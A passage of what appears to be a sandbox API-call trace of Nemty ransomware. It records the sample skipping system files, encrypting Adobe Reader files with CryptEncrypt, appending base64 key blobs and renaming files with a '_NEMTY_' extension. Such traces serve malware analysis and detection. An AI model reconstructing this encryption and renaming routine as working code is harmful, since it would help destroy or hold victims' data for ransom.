lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94340 | out: hHeap=0x4f90000) returned 1 [0193.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.941] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.941] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x3ea, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="turnOnNotificationInTray.gif", cAlternateFileName="TURNON~1.GIF")) returned 1 [0193.941] lstrcmpiW (lpString1="turnOnNotificationInTray.gif", lpString2=".") returned 1 [0193.941] lstrcmpiW (lpString1="turnOnNotificationInTray.gif", lpString2="..") returned 1 [0193.941] lstrcmpiW (lpString1="turnOnNotificationInTray.gif", lpString2="...") returned 1 [0193.941] lstrcmpiW (lpString1="turnOnNotificationInTray.gif", lpString2="windows") returned -1 [0193.942] lstrcmpiW (lpString1="turnOnNotificationInTray.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.942] lstrcmpiW (lpString1="turnOnNotificationInTray.gif", lpString2="rsa") returned 1 [0193.942] lstrcmpiW (lpString1="turnOnNotificationInTray.gif", lpString2="NTDETECT.COM") returned 1 [0193.942] lstrcmpiW (lpString1="turnOnNotificationInTray.gif", lpString2="ntldr") returned 1 [0193.942] lstrcmpiW (lpString1="turnOnNotificationInTray.gif", lpString2="MSDOS.SYS") returned 1 [0193.942] lstrcmpiW (lpString1="turnOnNotificationInTray.gif", lpString2="IO.SYS") returned 1 [0193.942] lstrcmpiW (lpString1="turnOnNotificationInTray.gif", lpString2="boot.ini") returned 1 [0193.942] lstrcmpiW (lpString1="turnOnNotificationInTray.gif", lpString2="boot.ini") returned 1 [0193.942] lstrcmpiW (lpString1="turnOnNotificationInTray.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.942] lstrcmpiW (lpString1="turnOnNotificationInTray.gif", lpString2="ntuser.dat") returned 1 [0193.942] lstrcmpiW (lpString1="turnOnNotificationInTray.gif", lpString2="desktop.ini") returned 1 [0193.942] lstrcmpiW (lpString1="turnOnNotificationInTray.gif", lpString2="CONFIG.SYS") returned 1 [0193.942] lstrcmpiW (lpString1="turnOnNotificationInTray.gif", lpString2="RECYCLER") returned 1 [0193.942] lstrcmpiW (lpString1="turnOnNotificationInTray.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.942] lstrcmpiW (lpString1="turnOnNotificationInTray.gif", lpString2="bootmgr") returned 1 [0193.942] lstrcmpiW (lpString1="turnOnNotificationInTray.gif", lpString2="programdata") returned 1 [0193.942] lstrcmpiW (lpString1="turnOnNotificationInTray.gif", lpString2="appdata") returned 1 [0193.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOnNotificationInTray.gif", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0193.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOnNotificationInTray.gif", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="turnOnNotificationInTray.gif", lpUsedDefaultChar=0x0) returned 28 [0193.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e80 [0193.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOnNotificationInTray.gif", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0193.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOnNotificationInTray.gif", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="turnOnNotificationInTray.gif", lpUsedDefaultChar=0x0) returned 28 [0193.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e80 | out: hHeap=0x4f90000) returned 1 [0193.942] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOnNotificationInTray.gif", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0193.942] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.942] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOnNotificationInTray.gif", cchWideChar=28, lpMultiByteStr=0x4f9ecb8, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="turnOnNotificationInTray.gif", lpUsedDefaultChar=0x0) returned 28 [0193.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOnNotificationInTray.gif", cchWideChar=28, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 28 [0193.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.943] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="turnOnNotificationInTray.gif", cchWideChar=28, lpMultiByteStr=0x4f9ed58, cbMultiByte=28, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="turnOnNotificationInTray.gif", lpUsedDefaultChar=0x0) returned 28 [0193.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94340 [0193.943] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.943] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x4f94288 [0193.943] Sleep (dwMilliseconds=0x5) [0193.953] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x27406c10, dwHighDateTime=0x1d561e8)) [0193.953] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x27406c10, dwHighDateTime=0x1d561e8)) [0193.953] GetLastError () returned 0x0 [0193.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.953] GetLastError () returned 0x0 [0193.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0193.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0193.953] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.953] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.953] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348d60 [0193.953] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348d60, pcchString=0x653e91c | out: pszString="J66EZ/CM2q01MxQToUPfcQksswKzJPjLbgk32zk1TIm2InT8kdto8GJZtkkGn8z1\r\nZaBgWGPnConUeSlGwcc9h9HG6iC22njwnlgIQyIFZdVm/1nwokVJF9eKn0y5MMMA\r\nffUl7zWORz3vA8JzIwBAJGyM871opsrohL+a/YVR5pJwArklu1KJLInRh6M2MG+u\r\n00JSxPmoKLNwJ1IA5mVx9xpRAYWsBvp1521CN1UzNpa5P1F5QkRjx731Npkr8eAA\r\nteO/7fPN+BRUQkUhGg3Mky/n1e8Y/PbvGTFZUE+qkOYqkZocFL+WRcoLdqKZXDPR\r\nPP4PSySvOdZeC+buvOYpFQ==\r\n", pcchString=0x653e91c) returned 1 [0193.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0193.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.953] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0193.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348d60 [0193.953] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0193.953] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOnNotificationInTray.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnonnotificationintray.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.954] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=1002) returned 1 [0193.954] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x3e0) returned 0x6340048 [0193.954] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.954] ReadFile (in: hFile=0x254, lpBuffer=0x6340048, nNumberOfBytesToRead=0x3e0, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesRead=0x653eb64*=0x3e0, lpOverlapped=0x0) returned 1 [0193.955] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.955] WriteFile (in: hFile=0x254, lpBuffer=0x6340048*, nNumberOfBytesToWrite=0x3e0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6340048*, lpNumberOfBytesWritten=0x653eb5c*=0x3e0, lpOverlapped=0x0) returned 1 [0193.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.956] SetFilePointer (in: hFile=0x254, lDistanceToMove=1002, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x3ea [0193.956] WriteFile (in: hFile=0x254, lpBuffer=0x6348d60*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x6348d60*, lpNumberOfBytesWritten=0x653eb5c*=0x167, lpOverlapped=0x0) returned 1 [0193.956] CloseHandle (hObject=0x254) returned 1 [0193.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340048 [0193.956] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0193.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0193.956] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed30, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0193.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ece0 [0193.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0193.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xb0) returned 0x6340100 [0193.956] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x106) returned 0x63401b8 [0193.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340100 | out: hHeap=0x4f90000) returned 1 [0193.956] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ece0 | out: hHeap=0x4f90000) returned 1 [0193.956] MoveFileW (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOnNotificationInTray.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnonnotificationintray.gif"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\turnOnNotificationInTray.gif._NEMTY_kGOBjgD_" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\turnonnotificationintray.gif._nemty_kgobjgd_")) returned 1 [0193.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63401b8 | out: hHeap=0x4f90000) returned 1 [0193.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0193.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f91750 | out: hHeap=0x4f90000) returned 1 [0193.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348d60 | out: hHeap=0x4f90000) returned 1 [0193.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6349050 | out: hHeap=0x4f90000) returned 1 [0193.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0193.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94288 | out: hHeap=0x4f90000) returned 1 [0193.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.957] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.957] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x93de7300, ftCreationTime.dwHighDateTime=0x1cb84b4, ftLastAccessTime.dwLowDateTime=0x80222180, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0x93de7300, ftLastWriteTime.dwHighDateTime=0x1cb84b4, nFileSizeHigh=0x0, nFileSizeLow=0x171, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="warning.gif", cAlternateFileName="")) returned 1 [0193.957] lstrcmpiW (lpString1="warning.gif", lpString2=".") returned 1 [0193.957] lstrcmpiW (lpString1="warning.gif", lpString2="..") returned 1 [0193.957] lstrcmpiW (lpString1="warning.gif", lpString2="...") returned 1 [0193.957] lstrcmpiW (lpString1="warning.gif", lpString2="windows") returned -1 [0193.957] lstrcmpiW (lpString1="warning.gif", lpString2="$RECYCLE.BIN") returned 1 [0193.957] lstrcmpiW (lpString1="warning.gif", lpString2="rsa") returned 1 [0193.957] lstrcmpiW (lpString1="warning.gif", lpString2="NTDETECT.COM") returned 1 [0193.957] lstrcmpiW (lpString1="warning.gif", lpString2="ntldr") returned 1 [0193.957] lstrcmpiW (lpString1="warning.gif", lpString2="MSDOS.SYS") returned 1 [0193.957] lstrcmpiW (lpString1="warning.gif", lpString2="IO.SYS") returned 1 [0193.957] lstrcmpiW (lpString1="warning.gif", lpString2="boot.ini") returned 1 [0193.957] lstrcmpiW (lpString1="warning.gif", lpString2="boot.ini") returned 1 [0193.957] lstrcmpiW (lpString1="warning.gif", lpString2="AUTOEXEC.BAT") returned 1 [0193.957] lstrcmpiW (lpString1="warning.gif", lpString2="ntuser.dat") returned 1 [0193.958] lstrcmpiW (lpString1="warning.gif", lpString2="desktop.ini") returned 1 [0193.958] lstrcmpiW (lpString1="warning.gif", lpString2="CONFIG.SYS") returned 1 [0193.958] lstrcmpiW (lpString1="warning.gif", lpString2="RECYCLER") returned 1 [0193.958] lstrcmpiW (lpString1="warning.gif", lpString2="BOOTSECT.BAK") returned 1 [0193.958] lstrcmpiW (lpString1="warning.gif", lpString2="bootmgr") returned 1 [0193.958] lstrcmpiW (lpString1="warning.gif", lpString2="programdata") returned 1 [0193.958] lstrcmpiW (lpString1="warning.gif", lpString2="appdata") returned 1 [0193.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.958] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="warning.gif", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.958] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="warning.gif", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="warning.gif", lpUsedDefaultChar=0x0) returned 11 [0193.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.958] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="warning.gif", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.958] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="warning.gif", cchWideChar=11, lpMultiByteStr=0x653ebd0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="warning.gif", lpUsedDefaultChar=0x0) returned 11 [0193.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.958] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="warning.gif", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.958] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="warning.gif", cchWideChar=11, lpMultiByteStr=0x653ec20, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="warning.gif", lpUsedDefaultChar=0x0) returned 11 [0193.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.958] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="warning.gif", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0193.958] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="warning.gif", cchWideChar=11, lpMultiByteStr=0x653ec58, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="warning.gif", lpUsedDefaultChar=0x0) returned 11 [0193.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0193.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346d60 [0193.958] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94340 | out: hHeap=0x4f90000) returned 1 [0193.958] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x90) returned 0x6346f28 [0193.958] Sleep (dwMilliseconds=0x5) [0193.968] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2742cd70, dwHighDateTime=0x1d561e8)) [0193.968] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0x2742cd70, dwHighDateTime=0x1d561e8)) [0193.968] GetLastError () returned 0x0 [0193.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0193.968] GetLastError () returned 0x0 [0193.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0193.968] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0193.968] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0193.968] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0193.969] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0193.969] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0193.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x6348ed8 [0193.969] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x6348ed8, pcchString=0x653e91c | out: pszString="2bEOwXY46H1DbABwBYF5oYNsADA+fn2k2pmVY9TEktUGrg7t6zmI4KpjmtGtl1st\r\n+pitFQ0ikzJm/UtrxVSUPU87CNFQ1ANe+9Cff7dyukshL6TeyhZeOzkCO7+JNO+Z\r\nI+jlgxHS7BWDCQUn1JL0vsBw8h9jX4mr93oyNmuiqv3xBwZgQz2cZewTaMuJCHYW\r\nSY2Q8pF1KRzOmOaafNnWk3xW5meiBI+KZxN1aim8aMEHIvEpWg1Sd4hlR9823a5o\r\nDlTuEwXzp2QWZfT6ePH/6wOtQWlA8/kfJAcOf1/UXEAjp/HeaNTacvJLgygu6gG5\r\n3mPmERgjgpB8MzQz4mVhyA==\r\n", pcchString=0x653e91c) returned 1 [0193.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6349050 [0193.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6348ed8 | out: hHeap=0x4f90000) returned 1 [0193.969] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed58 | out: hHeap=0x4f90000) returned 1 [0193.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f91750 [0193.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x6348ed8 [0193.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0193.969] CreateFileW (lpFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Reader\\Tracker\\warning.gif" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\reader\\tracker\\warning.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x254 [0193.969] GetFileSizeEx (in: hFile=0x254, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=369) returned 1 [0193.969] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x63491c8 [0193.969] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.970] ReadFile (in: hFile=0x254, lpBuffer=0x63491c8, nNumberOfBytesToRead=0x170, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x63491c8*, lpNumberOfBytesRead=0x653eb64*=0x170, lpOverlapped=0x0) returned 1 [0193.971] SetFilePointer (in: hFile=0x254, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0193.971] WriteFile (in: hFile=0x254, lpBuffer=0x63491c8*, nNumberOfBytesToWrite=0x170, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpBuffer=0x63491c8*, lpNumberOfBytesWritten=0x653eb5c*=0x170, lpOverlapped=0x0) returned 1 [0193.971] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63491c8 | out: hHeap=0x4f90000) returned 1 [0193.971] SetFilePointer (in: hFile=0x254, lDistanceToMove=369, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x171 [0193.971] WriteFile (in: hFile=0x254, lpBuffer=0x6348ed8*, nNumberOfBytesToWrite=0x167, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: 